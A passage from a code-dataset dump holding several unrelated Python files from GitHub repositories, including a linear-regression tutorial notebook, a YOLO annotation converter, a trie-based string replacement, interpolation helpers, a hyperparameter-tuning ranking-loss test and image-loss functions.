descale_batch(ga_out, -1, split_index, 1, min_v, range_v)\n ga_y = descale_batch(ga_y, -1, split_index, 1, min_v, range_v)\n \n test_score[0].update(ga_y, ga_out)\n test_score[1].update(me_y, me_out)\n \n else:\n loss = loss_fn(out, y).cpu().numpy()\n loss_matrix[i] = loss.mean(axis=1)\n \n if test_set.scale:\n out = descale_batch(out, -1, num_nodes, 1, min_v, range_v)\n y = descale_batch(y, -1, num_nodes, 1, min_v, range_v)\n test_score.update(y, out)\n \n \n print('avg loss', loss_matrix.mean())\n if dtype == 'combine':\n print('garage loss', loss_matrix[:, :split_index].mean())\n print('meter loss', loss_matrix[:, split_index:].mean())\n \n plt.figure(figsize=(15, 9))\n \n cmap = 'Reds'\n \n plt.subplot(1, 2, 1)\n plt.contour(loss_matrix[:, :split_index], cmap=cmap)\n plt.colorbar()\n \n plt.subplot(1, 2, 2)\n plt.contour(loss_matrix[:, split_index:], cmap=cmap)\n plt.colorbar()\n print('test score ga', test_score[0].score_dict())\n print('test score me', test_score[1].score_dict())\n else:\n plt.figure(figsize=(18, 9))\n plt.contour(loss_matrix)\n plt.colorbar()\n print('test score', test_score.score_dict())\n \n return loss_matrix, test_score\n \n \n\n \n# from torch_geometric.data.collate import collate\n# from torch_geometric.data import Batch\n# import random \n# class ParkLoader:\n# def __init__(self, dataset: Dataset, batch_size: int):\n# self.dataset = dataset\n# self.batch_size = batch_size\n# index_list = list(range(len(dataset) - batch_size * 2 + 1))\n# random.shuffle(index_list)\n# self.index_list = index_list\n# self.index = 0\n \n# def has_next(self):\n# return self.index < len(self.index_list)\n \n# def len(self):\n# return len(self.index_list)\n \n# def next(self):\n# if not self.has_next():\n# return None\n \n# i = self.index_list[self.index]\n# self.index += 1\n \n# x_batch, _, _ = collate(Batch, [self.dataset[i], self.dataset[i + 1], self.dataset[i + 2]])\n# y_batch, _, _ = collate(Batch, [self.dataset[i + 3], self.dataset[i + 4], self.dataset[i + 5]])\n \n# return x_batch, y_batch\n\n# from torch_geometric.utils import add_self_loops\n# from torch_scatter import scatter \n# def min_pool_neighbor_x(data, flow='source_to_target'):\n# r\"\"\"Max pools neighboring node features, where each feature in\n# :obj:`data.x` is replaced by the feature value with the maximum value from\n# the central node and its neighbors.\n# \"\"\"\n# x, edge_index = data.x, data.edge_index\n\n# edge_index, _ = add_self_loops(edge_index, num_nodes=data.num_nodes)\n\n# row, col = edge_index\n# row, col = (row, col) if flow == 'source_to_target' else (col, row)\n\n# data.x = scatter(x[row], col, dim=0, dim_size=data.num_nodes, reduce='min')\n# return data","repo_name":"liyinze1/PolyU-parking","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7305003354","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Programming Exercise 1: Linear Regression Coursera\n\n# # 1.1 Introduction \n# \n# ### This Task is related to Coursera Machine Learning Course by Andrew NG, but implemnted in Python.\n# \n# **Most text used in this notebook from ex1.pdf of Coursera**\n# \n# **power point slides beside of code that depends on Material of Coursera but more enhancing:**\n# \n# - What is ML\n# - Supervised Learning\n# - Linear Regresison\n# - Fitting Line\n# - Regression Apps\n# - Equation of Regression & Slope behind of Linear Equation\n# - Different types of slope\n# - Linear Regression Notations\n# - simple graphs with differnt notations\n# - cost function\n# - parameters and hyperparameters\n# - Gradient Descent\n# - Linear Algebra\n# - Univariate & Multi features\n# - Vectorization instead of loops\n# - Feature Scaling & Normalization\n# \n# **snapshot from our slides**\n# \n# ![alt text](images/differnt_notations.png \"differnt_notations\")\n# \n# \n# **The task will be implemented in three ways and three notebooks and it all about linear regression**\n# \n# - As manual code which pure code.\n# - Using Sklearn library\n# - Using Tensflow & Keras\n# \n\n# ## 1.2 Importing libraries\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# ### 1. 3 linear regression with one variable\n# \n# In this part of this exercise, we will implement linear regression with one variable to predict profits for a food truck.\n# \n# Suppose you are the CEO of arestaurant franchise and are considering different cities for opening a newoutlet. The chain already has trucks in various cities and you have data forprofits and populations from the cities.\n# \n# You would like to use this data to help you select which city to expandto next.\n# \n# The fileex1data1.txt contains the dataset for our linear regression prob-lem. The first column is the population of a city and the second column is the profit of a food truck in that city. A negative value for profit indicates a loss.\n\n# ## 1.4 Handling file\n# \n# I would like to change the data from txt to be in csv file, and at the end I will provide you with these csv file to ignore all of the above code and start with the csv file.\n# \n\n# In[2]:\n\n\ndef from_txt_to_csv(file_name, cols_names):\n '''\n Argument:\n file_path that you need to convert to csv file\n cols_names if you would like to saved with columns names\n return:\n True if no error occured of saved operations\n '''\n# read the txt file with columns name\n try:\n read_file = pd.read_csv ('ex1/'+ file_name + '.txt', names=cols_names) \n \n # save as csv to our folder csv_files\n read_file.to_csv ('csv_files/' + file_name + '.csv', index=None)\n except Exception as e:\n file = open(\"log_files/from_txt_to_csv.log\",\"+a\")\n file.write(\"This error related to function from_txt_to_csv function of manual_linea_regression notebook\\n\" \n + str(e) + \"\\n\" + \"#\" *99 + \"\\n\") # \"#\" *99 as separated lines\n return True\n\n\n# In[3]:\n\n\n# create columns name for our data\ncols = ['city_population', 'food_truck_profit']\n# call the function\nfrom_txt_to_csv('ex1data1', cols)\n\n\n# In[4]:\n\n\ndf_file = pd.read_csv('csv_files/ex1data1.csv')\n# now you can see the data after convert to csv with columns name\ndf_file.head()\n\n\n# ### 1.5 Plotting the Data\n# Before starting on any task, it is often useful to understand the data by visualizing it. For this dataset, you can use a scatter plot to visualize the data, since it has only two properties to plot (profit and population). (Many other problems that you will encounter in real life are multi-dimensional and can’t be plotted on a 2-d plot.)\n\n# ### Graph initialize\n\n# In[5]:\n\n\ndef init_2d_graphs(*colors):\n '''\n Just graph initialize in good way\n '''\n plt.style.use(colors)\n plt.figure(figsize=(10,6))\n return True\n\n\n# In[6]:\n\n\ndef ploting_2d_data(x_axis, y_axis, *arg):\n '''\n Argument:\n x_axis, y_axis of the graph\n argv as typle of values:\n arg[0] = xlabel\n arg[1] = ylabel\n arg[2] = point_size as you see different size of point because of using random * with value\n arg[3] = point_color as you see red points\n arg[4] = marker_type as you see +\n arg[5] = legend name as you see Training data\n '''\n# the labels of x & y\n plt.xlabel(arg[0])\n plt.ylabel(arg[1])\n# argv[3] * np.random.rand(5) different point size\n# \n plt.scatter(x,y, s = arg[2], c = arg[3], marker = arg[4], label = arg[5])\n plt.title(\"The Relation between \" + str(arg[0]) + \" And \" + str(arg[1]))\n plt.legend()\n return \"2d Graph Scatter representation\"\n\n\n# In[7]:\n\n\n# our initialized and graph draw for our dataset\nx = df_file['city_population'] # x_axis\ny = df_file['food_truck_profit'] # y_axis\n# because y is shape (97,) whcih rank of 0 and we need to be (97,1) to subtract from y_hat\ny = y.values.reshape(len(x),1) # because of type Series we use .values\n\nx_label = 'Population of City in 10,000s'\ny_label = 'Profit in $10,000s'\ngraph_legend = 'Training data'\n\ninit_2d_graphs('ggplot', 'dark_background' )\nploting_2d_data(x,y, x_label, y_label, 300, 'red', 'P', graph_legend)\n\n\n# ### some static of our data set we can see\n\n# In[8]:\n\n\ndf_file.describe()\n\n\n# ### 1.6 Gradient Descent\n# In this part, we will fit the linear regression parameters θ to our datasetusing gradient descent.\n# The objective of linear regression is to minimize the cost function\n\n# ## Implementation Steps\n# \n# first we have x and we need to map it to y\n# - x = Population of City in 10,000s\n# - y = Profit in $10,000s\n# \n# **Hypothesis**\n# \n# - second the hypothesis function is y_hat = theta0 + theta1 * X1 and we initialize X0 = 1 which have no effect on theta0:\n# \n# ![alt text](images/hypothesis_linear.png \"hypothesis_linear_function\")\n# \n# - so we need to inilize these theats.\n# \n# **Cost function**\n# \n# \n# - Third the cost function is use m as training example so we need to get the number of our training examples:\n# ![alt text](images/cost_function.png \"cost_function\")\n# \n# **Gradient Steps**\n# \n# - Fourth in gradient descent there is another parameters alpha we need to initialize which the learning rate.\n# \n# - Fifth and the last we need to specify the number of iteration will used to iterate and update the parameters:\n# \n# ![alt text](images/paramters_updated.png \"paramters_updated\")\n# \n\n# In[9]:\n\n\n# variables and parameters initialize\nm = len(x) \nprint(\"Number of training example: \", m)\nAlpha = .01 # learning rate\niterations = 1500 # number of gradient descent iterations\nthetas = np.zeros((2,1)) # initialize threats as 2d array and 2*1 dimension with 0 values\nprint('Theats shape is: ', thetas.shape)\nprint('Theats values are: ', thetas)\n# as we said above we need to expand x to have x0=1 for each training axample because of theta 0.\nX = np.stack((x, np.ones(m)), axis=1) # create x0 = 1 for each example\nprint(\"Now X shape is: \", X.shape)\nprint(\"Now first 5 element of X is\", X[:5,:]) # all columns in first 5 rows\n\n\n# ## 1.7 Cost Function\n# \n# As you perform gradient descent to learn minimize the cost function J(θ),it is helpful to monitor the convergence by computing the cost. In thissection, you will implement a function to calculate J(θ) so you can check the convergence of your gradient descent implementation.\n# \n# ### Remember the cost function is:\n# \n# ![alt text](images/cost_function.png \"cost_function\")\n# \n# **theta is 2 * 1 and X is 97 * 2 so we can multiply X*theta and get 97 * 1**\n\n# In[10]:\n\n\ndef cost_function(thetas,x,m,y):\n '''\n Arguments:\n thetas the paramter we need to minimize of shape 2*1\n x the eatures of our dataset 97*2\n m number of training examples\n y is output we need to predict\n return:\n cost function as total squared cost of our predicted values h_x and the real values y\n '''\n\n\n# get h_x first or called y_hat\n# y_hat = theta0 * x0 + theta1 * x1 and with vectorized will be x = 97*2 * theta = 2*1\n y_hat = np.matmul(x,thetas)\n# get the cost function\n cost_function = (1/(2*m)) * np.sum(np.square(y_hat - y))\n return cost_function\n\n\n# In[11]:\n\n\nJ = cost_function(thetas, X, m, y)\nprint(\"The cost funtion of our training data is: \", J)\n\n\n# ## 1.8 Gradient descent\n# \n# Next, we will implement gradient descent.\n# \n# ### Remember the Gradient descent is:\n# \n# ![alt text](images/paramters_updated.png \"paramters_updated\")\n# \n\n# In[12]:\n\n\ndef gradient_descent(thetas,x,m,y, learning_rate):\n '''\n Arguments:\n thetas the paramter we need to minimize of shape 2*1\n x the eatures of our dataset 97*2\n m number of training examples\n y is output we need to predict\n learning rate is alpha which inilized above as .01\n return:\n cost function as total squared cost of our predicted values h_x and the real values y\n '''\n\n# get h_x first or called y_hat\n# y_hat = theta0 * x0 + theta1 * x1 and with vectorized will be x = 97*2 * theta = 2*1\n y_hat = np.matmul(x,thetas)\n\n# get the gradient descent thetas\n# Transpose and multiply via vectorize so no need to summation because:\n# y_hat = 97*1 - y = 97*1 will be 97*1 and multiply by x which 97*2 so need to transpose to be 1*97 and x 97*2\n cost = np.matmul(np.transpose(y_hat-y), x) \n grad =((learning_rate/m) * cost)\n \n# return the gradient but transposed to be 2*1 instead of 1*2 to equal theta dimensions\n return grad.T\n\n\n# In[13]:\n\n\ngrad = gradient_descent(thetas, X, m, y, Alpha)\nprint(\"instead of Thetas as zero now thetas paramters after just 1 iteration is: \", grad)\n\n\n# In[14]:\n\n\ndef linear_regression_model(thetas, x, m, y, learning_rate, num_of_iterations):\n costs = []\n all_theta = []\n for i in range(num_of_iterations):\n J = cost_function(thetas, x, m, y)\n all_theta.append(thetas)\n costs.append(J)\n# get new values of theta as gradient descent step\n grad = gradient_descent(thetas, x, m , y, Alpha)\n\n# update theta so if grad is negative the theta will increase otherwise will decrease\n thetas = thetas - grad\n\n return costs, thetas, all_theta\n\n\n# In[15]:\n\n\nall_cost, last_thetas, all_theta = linear_regression_model(thetas, X, m, y, Alpha, iterations)\n\n\n# In[16]:\n\n\nJ = cost_function(last_thetas, X, m, y)\nprint(\"Our cost function after 1500 iterations is: \", J)\n\n\n# In[17]:\n\n\npredict1 = np.abs(np.matmul([1, 3.5],last_thetas))\npredict2 = np.abs(np.matmul([1, 7],last_thetas))\nprint(\"Our Prediction 1\", predict1)\nprint(\"Second Prediction\", predict2)\n\n\n# ## 1.9 Graphs of fitting line\n# \n# After we has train our model and update the paramters with new values we need to fitting the line to our data.\n# \n# - So first we get the predicted value y hat with new update thetas as final result\n# - second plot multiple fitting lines to show differnt values of thetas\n# - Third print the x values and real y to see the difference between real points and fitting line\n\n# In[18]:\n\n\n# Plot the graph with different first 4 values of thetas and last values of thetas\ninit_2d_graphs('ggplot', 'dark_background' ) # initialize graphics size\nfor i in range(4):\n y_hat = np.matmul(X, all_theta[i])\n plt.plot(x, y_hat, label='predict ' + str(i+1), linewidth=3)\ny_hat = np.matmul(X, last_thetas)\nplt.plot(x, y_hat, label= 'last predict',linewidth=2)\nploting_2d_data(x,y, x_label, y_label, 200, 'yellow', 'X', graph_legend)\n\n\n# ## 2.0 Cost function graph\n# \n# after we see how the fitting line on our data its usful to see how cost function decreased with differnt step of gradient descent.\n\n# In[19]:\n\n\ninit_2d_graphs() # initialize graphics size\n#np.arange(iters) means from 0 to 1500 iterations\n\nplt.plot(np.arange(iterations), all_cost, 'r', label='Cost Functions', linewidth=2) \nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Cost Function\")\nplt.title('Error vs. Training Iterations')\nplt.legend()\n\n\n# ### Note\n# **as you can see in graph above its will be fine to stop after 400 or 600 iterations because it has a small decrease**\n\n# # 2.1 linear regression with multiple variables\n# \n# In this part, we will implement linear regression with multiple variables to predict the prices of houses.\n# \n# Suppose you are selling your house and you want to know what a good market price would be. One way to do this is to first collect information on recent houses sold and make a model of housing prices.\n\n# ## 2.2 Handling file\n# \n# **As above step**\n# I would like to change the data from txt to be in csv file, and at the end I will provide you with these csv file to ignore all of the above code and start with the csv file.\n# \n\n# In[20]:\n\n\n# create columns name for our data\ncols = ['house_size', 'number_of_bedrooms', 'house_price']\n# call the function\nfrom_txt_to_csv('ex1data2', cols)\ndf_file = pd.read_csv('csv_files/ex1data2.csv')\n#now you can see the data after convert to csv with columns name\ndf_file.head()\n\n\n# In[21]:\n\n\ndf_file.describe()\n\n\n# ## 2.3 features normalization or Data Scaling\n# \n# **Its important step to make the values of different features within spceific range because it help you in:**\n# \n# - Avoid NAN values because numbers in operations of multiplication\n# - its help the machine to deal with numbers within range than different ranges and the operations be less cost\n# \n# **try to comment the line of calling function features_normalization_with_std and see result of how its affect.**\n# \n# ![alt text](images/nan.png \"Nan Value\")\n# \n# \n# **Two function implemented for feature scaling choose any of them**\n\n# In[22]:\n\n\ndef features_normalization_with_std(X):\n '''\n Normalize the data via standard deviation\n '''\n X= (X - np.mean(X)) / np.std(X)\n return X\n\n\n# In[23]:\n\n\ndef features_normalization_with_min_max(X):\n '''\n Normalize the data via min max approach\n '''\n X = (X - np.mean(X)) / (np.max(X) - np.min(X))\n return X\n\n\n# In[24]:\n\n\ndf_file = features_normalization_with_std(df_file)\n\n\n# In[25]:\n\n\nx = np.array(df_file.iloc[:, :2])# get the 2 features columns)\ny = df_file['house_price'] # the real output \n\n# # because y is shape (97,) whcih rank of 0 and we need to be (97,1) to subtract from y_hat\ny = y.values.reshape(len(y),1) # because of type Series we use .values\n\n# variables and parameters initialize\nall_cost = []\nm = len(y) \nprint(x.shape)\nprint(\"#\"*80)\nprint(\"Number of training example: \", m)\nprint(\"#\"*80)\nAlpha = .1 # learning rate\niterations = 100 # number of gradient descent iterations\nthetas = np.zeros((3,1)) # initialize threats as 2d array and 2*1 dimension with 0 values\nprint('Theats shape is: ', thetas.shape)\nprint(\"#\"*80)\nprint('Theats values are: ', thetas)\nprint(\"#\"*80)\nX = np.column_stack((x,np.ones(len(y))))\nprint(\"Now X shape is: \", X.shape)\n\n\n# In[26]:\n\n\nprint(\"Now the first 5 rows of x values are: \", X[:5, :])\n\n\n# ## 2.4 call the Cost Function\n\n# In[27]:\n\n\nJ = cost_function(thetas, X, m, y)\nprint(\"The cost funtion after data scaling is: \", J)\n\n\n# ## 2.4 call the gradient descent\n\n# In[28]:\n\n\ngrad = gradient_descent(thetas, X, m, y, Alpha)\nprint(\"instead of Thetas as zero now thetas paramters after just 1 iteration is: \", grad)\n\n\n# ## 2.4 call the linear_regression_model for multiple of iterations\n\n# In[29]:\n\n\nall_cost, last_thetas, all_theta = linear_regression_model(grad, X, m, y, Alpha, iterations)\n\n\n# In[30]:\n\n\nJ = cost_function(last_thetas, X, m, y)\nprint(\"Our cost function after 1000 iterations without feature scaling: \", J)\n\n\n# ## 2.5 Cost function graph\n\n# In[31]:\n\n\ninit_2d_graphs() # initialize graphics size\n#np.arange(iters) means from 0 to 1500 iterations\nplt.plot(np.arange(iterations), all_cost, 'r', label='Cost Functions', linewidth=2) \nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Cost Function\")\nplt.title('Error vs. Training Iterations')\nplt.legend()\n\n\n# ## Another with features_normalization_with_min_max\n\n# In[32]:\n\n\n# create columns name for our data\ncols = ['house_size', 'number_of_bedrooms', 'house_price']\n# call the function\nfrom_txt_to_csv('ex1data2', cols)\ndf_file = pd.read_csv('csv_files/ex1data2.csv')\n#now you can see the data after convert to csv with columns name\ndf_file.head()\n\n\n# In[33]:\n\n\ndf_file = features_normalization_with_min_max(df_file)\n\n\n# In[34]:\n\n\nx = np.array(df_file.iloc[:, :2])# get the 2 features columns)\ny = df_file['house_price'] # the real output \n\n# # because y is shape (97,) whcih rank of 0 and we need to be (97,1) to subtract from y_hat\ny = y.values.reshape(len(y),1) # because of type Series we use .values\n\n# variables and parameters initialize\nall_cost = []\nm = len(y) \nprint(x.shape)\nprint(\"#\"*80)\nprint(\"Number of training example: \", m)\nprint(\"#\"*80)\nAlpha = .1 # learning rate\niterations = 100 # number of gradient descent iterations\nthetas = np.zeros((3,1)) # initialize threats as 2d array and 2*1 dimension with 0 values\nprint('Theats shape is: ', thetas.shape)\nprint(\"#\"*80)\nprint('Theats values are: ', thetas)\nprint(\"#\"*80)\nX = np.column_stack((x,np.ones(len(y))))\nprint(\"Now X shape is: \", X.shape)\n\n\n# In[35]:\n\n\nJ = cost_function(thetas, X, m, y)\nprint(\"The cost funtion after data scaling is: \", J)\n\n\n# In[36]:\n\n\ngrad = gradient_descent(thetas, X, m, y, Alpha)\nprint(\"instead of Thetas as zero now thetas paramters after just 1 iteration is: \", grad)\n\n\n# In[37]:\n\n\nall_cost, last_thetas, all_theta = linear_regression_model(grad, X, m, y, Alpha, iterations)\n\n\n# In[38]:\n\n\nJ = cost_function(last_thetas, X, m, y)\nprint(\"Our cost function after 1000 iterations without feature scaling: \", J)\n\n\n# In[39]:\n\n\ninit_2d_graphs() # initialize graphics size\n#np.arange(iters) means from 0 to 1500 iterations\nplt.plot(np.arange(iterations), all_cost, 'r', label='Cost Functions', linewidth=2) \nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Cost Function\")\nplt.title('Error vs. Training Iterations')\nplt.legend()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Abdelrahmanrezk/handson-ml-2","sub_path":"chapter_2/ml_project_2/Linear-Regression/python_implementation/manual_linea_regression.py","file_name":"manual_linea_regression.py","file_ext":"py","file_size_in_byte":17879,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"67"} +{"seq_id":"19322981924","text":"##converts the annotations to the yolov3 format and divides the images in a train and test set.\nimport json\nfrom os import listdir\nfiles = [f for f in listdir(\"C:/Users/Lisa/UPorto/Robotics/Project/duckiestuff-master/duck_frames\")]\nprint(files[0])\n\n\n## loading all annotations\nwith open('duck_annotations_all.json') as f: \n\tdata = json.load(f)\n\ndef convert(size, box):\n dw = 1./size[0]\n dh = 1./size[1]\n x = (box[0] + box[1])/2.0\n y = (box[2] + box[3])/2.0\n w = box[1] - box[0]\n h = box[3] - box[2]\n x = x*dw\n w = w*dw\n y = y*dh\n h = h*dh\n return (x,y,w,h)\n\nw = 640.\nh = 480.\ni = 0\ntest = \"\"\ntrain = \"\"\nfor file in files:\n ann = data[file]\n if not ann:\n print(\"help\")\n continue\n\n for a in ann:\n xmin = a['bbox'][0]\n ymin = a['bbox'][1]\n xmax = a['bbox'][0] + a['bbox'][2]\n ymax = a['bbox'][1] + a['bbox'][3]\n b = (xmin, xmax, ymin, ymax)\n\n bb = convert((w,h), b)\n\n f = open(\"duck_frames/%s.txt\" %file[0:-4], \"a\")\n f.write(str(0) + \" \" + \" \".join([str(a) for a in bb]) + '\\n')\n f.close()\n\n if i%3:\n train += \"C:/Users/Lisa/UPorto/Robotics/Project/duckiestuff-master/duck_frames/%s\\n\" %file\n else:\n test += \"C:/Users/Lisa/UPorto/Robotics/Project/duckiestuff-master/duck_frames/%s\\n\" %file\n i += 1\n \nftest = open(\"testdata.txt\", \"a\")\nftest.write(test)\nftest.close()\n\nftrain = open(\"traindata.txt\", \"a\")\nftrain.write(train)\nftrain.close()\n\n\n","repo_name":"JoaoCarlosPires/feup-ri","sub_path":"MadDuckAvoidance/src/create_sets.py","file_name":"create_sets.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21123482308","text":"class Solution:\n def minWindow(self, s1: str, s2: str) -> str:\n @cache\n def dfs(i, j):\n if j == len(s2):\n return i\n\n ind = s1.find(s2[j], i + 1)\n return float(\"inf\") if ind == -1 else dfs(ind, j + 1)\n\n l, res = float(\"inf\"), \"\"\n for i, s in enumerate(s1):\n if s == s2[0]:\n j = dfs(i, 1)\n if j - i < l:\n l, res = j - i, s1[i : j + 1]\n return res","repo_name":"fxrcode/FG","sub_path":"0727-minimum-window-subsequence/0727-minimum-window-subsequence.py","file_name":"0727-minimum-window-subsequence.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"2522546431","text":"import random\nimport string\nfrom email.mime.text import MIMEText\n\ndef gen_rand_data(n):\n return ''.join(random.choices(string.ascii_uppercase + string.digits, k=n))\n\ndata_dir = \"data_75kB\"\nfor i in range(10000):\n msg = MIMEText(gen_rand_data(75000))\n msg['Subject'] = \"Subject\"\n msg[\"From\"] = \"me\"\n msg[\"To\"] = \"you\"\n with open(data_dir + \"/file.\" + str(i).zfill(5), \"w+\") as f:\n f.write(msg.as_string())\n f.write(\"\\n\")\n","repo_name":"odnh/gitmaildir","sub_path":"evaluation/scripts/data_generation/make_mails.py","file_name":"make_mails.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"29256005913","text":"import unittest\nfrom typing import List\n\n\nclass TireNode:\n def __init__(self):\n self.children = {}\n # replacement表示从根节点到当前节点组成的字符串(在数组A中),能替换成数组B的哪个字符串\n self.replacement = None\n\n\nclass Tire:\n def __init__(self):\n self.root = TireNode()\n\n def insert(self, word: str, replacement: str):\n curr = self.root\n for char in word:\n # Insert key with a value of default if key is not in the dictionary.\n # Return the value for key if key is in the dictionary, else default.\n curr = curr.children.setdefault(char, TireNode())\n curr.replacement = replacement\n\n def search(self, word: str) -> str:\n curr, replacement = self.root, None\n for char in word:\n if char not in curr.children:\n break\n curr = curr.children[char]\n # 不断搜索字典树,找到新的(更长的replacement)就更新\n if curr.replacement is not None:\n replacement = curr.replacement\n\n # 如果没找到,就返回第一个字符,让字符串S原封不动地替换下一个字符,然后指针会后移一位\n if replacement is None:\n replacement = word[0]\n return replacement\n\n\nclass Solution(unittest.TestCase):\n TEST_CASES = [\n # ababa -> cccba -> cccba\n # ^ ^ ^\n ([\"ab\", \"aba\"], [\"cc\", \"ccc\"], \"ababa\", \"cccba\"),\n ]\n\n def test(self):\n for a, b, s, after_replace in self.TEST_CASES:\n self.assertEqual(after_replace, self.f(a, b, s))\n\n @staticmethod\n def f(a: List[str], b: List[str], s: str) -> str:\n if not a or not b:\n return s\n\n tire = Tire()\n for i, word in enumerate(a):\n # 只有word是s的子串其才会被放到trie中, 这样就保证了每次search的时候, 每次匹配s[i]做的都是有用功\n if word in s:\n tire.insert(word, b[i])\n\n result = \"\"\n while s:\n replacement = tire.search(s)\n print(replacement)\n result += replacement\n s = s[len(replacement):]\n\n return result\n","repo_name":"pymongo/python_leetcode","sub_path":"trie/string_replace.py","file_name":"string_replace.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37922389743","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import PchipInterpolator\n\n\ndef pchip_random(data: np.ndarray, datapoints = 23) -> np.ndarray:\n \"\"\"Interpolação aleatória gerada com o polinômio interpolador do pchip\n \n Args:\n data (np.ndarray): Dados a serem inserpolados\n datapoints (int): Quantidade de valores geradas em um intervalo\n Returns:\n np.ndarray: Valores interpolados\n \"\"\"\n interpolated_values = []\n for i in range(0, len(data) - 1):\n today = data[i]\n tomorrow = data[i + 1]\n \n if today == tomorrow:\n continue\n\n fnc = PchipInterpolator([0, 1], [today, tomorrow])\n elements = fnc(np.arange(0, 1, 1 / (datapoints + 1)))\n interpolated_values.extend(elements)\n return np.array(interpolated_values)\n\n\ndef interp1d_random(data: np.ndarray, datapoints = 23):\n \"\"\"Interpolação aleatória gerada com elementos randômicos inteiros em um intervalo\n \n Args:\n data (np.ndarray): Dados a serem inserpolados\n datapoints (int): Quantidade de valores geradas em um intervalo\n Returns:\n np.ndarray: Valores interpolados\n \"\"\"\n \n interpolated_values = []\n \n for i in range(0, len(data) - 1):\n today = data[i]\n tomorrow = data[i + 1]\n \n if today == tomorrow:\n continue # Neste caso, não há o que ser feito\n \n if today > tomorrow:\n elements = np.random.randint(tomorrow, today, datapoints).tolist()\n else:\n elements = np.random.randint(today, tomorrow, datapoints).tolist()\n\n elements.insert(0, today)\n elements.append(tomorrow)\n interpolated_values.extend(elements)\n return np.array(interpolated_values)\n","repo_name":"cmath-covid/trabalho-grupo-azul-CAP239","sub_path":"5_lstm_soc/interp.py","file_name":"interp.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12723628993","text":"import numpy as np\nimport pytest\n\nfrom syne_tune.optimizer.schedulers.searchers.bayesopt.gpautograd.hypertune.utils import (\n _losses_for_rung,\n)\n\n\nclass MadeUpPosteriorState:\n def __init__(self):\n self.num_fantasies = 1\n self._samples = None\n\n def sample_joint(\n self,\n test_features: np.ndarray,\n num_samples: int,\n random_state: np.random.RandomState,\n ) -> np.ndarray:\n num_data = test_features.shape[0]\n self._samples = random_state.randn(num_data, num_samples)\n return self._samples\n\n def get_losses(self, targets: np.ndarray):\n assert self._samples is not None\n num_data, num_samples = self._samples.shape\n assert targets.size == num_data\n targets = targets.reshape((-1,))\n result = np.zeros(num_samples)\n # Dumb on purpose!\n for j in range(num_data - 1):\n samp_j = self._samples[j]\n for k in range(j + 1, num_data):\n samp_k = self._samples[k]\n yj_lt_yk = targets[j] < targets[k]\n for ind in range(num_samples):\n fj_lt_fk = samp_j[ind] < samp_k[ind]\n result[ind] += int(yj_lt_yk != fj_lt_fk)\n result *= 2 / (num_data * (num_data - 1))\n return result\n\n\n@pytest.mark.timeout(5)\n@pytest.mark.parametrize(\n \"num_data, num_samples\",\n [\n (10, 20),\n (5, 5),\n (2, 1),\n (10, 1),\n (100, 100),\n ],\n)\ndef test_hypertune_ranking_losses(num_data, num_samples):\n seed = 31415927\n random_state = np.random.RandomState(seed)\n targets = random_state.randn(num_data, 1).reshape((-1,))\n features = random_state.randn(num_data, 2) # Does not matter\n data = {\"features\": features, \"targets\": targets}\n poster_state = MadeUpPosteriorState()\n losses1 = _losses_for_rung(\n poster_state=poster_state,\n data_max_resource=data,\n num_samples=num_samples,\n random_state=random_state,\n )\n losses2 = poster_state.get_losses(targets)\n np.testing.assert_allclose(losses1, losses2, rtol=1e-5)\n","repo_name":"awslabs/syne-tune","sub_path":"tst/schedulers/bayesopt/gpautograd/test_hypertune_ranking.py","file_name":"test_hypertune_ranking.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":332,"dataset":"github-code","pt":"67"} +{"seq_id":"9548302023","text":"import glob2\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport cv2\n\ndef get_data(data_root, class_list):\n train_list = []\n predict_list = []\n for char in class_list:\n train_path = glob2.glob(os.path.join(data_root, char, \"**\", \"*.png\")) + glob2.glob(os.path.join(data_root, char, \"**\", \"*.jpg\"))\n train_list +=train_path\n predict_list.append(train_path[5])\n\n return train_list, predict_list\n\ndef calculate_ssim_loss(img, decoded):\n return 1-tf.reduce_mean(tf.image.ssim(img, decoded, \n max_val = 1.0,filter_size=11,\n filter_sigma=1.5, k1=0.01, k2=0.03 ))\n # loss = tf.reduce_mean(tf.abs(tf.subtract(decoded, img) + 1.0e-15))\n # # loss = tf.reduce_mean(tf.keras.losses.MSE(img, decoded))\n # # loss = tf.reduce_mean(tf.square(tf.subtract(img, decoded)))\n # # loss = tf.reduce_mean(tf.nn.l2_loss(tf.subtract(img, decoded)))\n # return loss\n\ndef calculate_mse_loss(img, decoded):\n # loss = tf.reduce_mean(tf.abs(tf.subtract(decoded, img) + 1.0e-15))\n loss = tf.reduce_mean(tf.keras.losses.MSE(img, decoded))\n # # loss = tf.reduce_mean(tf.square(tf.subtract(img, decoded)))\n # # loss = tf.reduce_mean(tf.nn.l2_loss(tf.subtract(img, decoded)))\n return loss\n\ndef calculate_cross_entropy(label, pred):\n loss = tf.keras.losses.sparse_categorical_crossentropy(label, pred)\n return loss\n\ndef calculate_implicit(r_style, l_style):\n # loss = tf.reduce_mean(tf.norm(r_style - l_style + 1.0e-15, ord='euclidean', axis=1))\n loss = tf.reduce_mean(tf.norm(tf.subtract(r_style, l_style) + 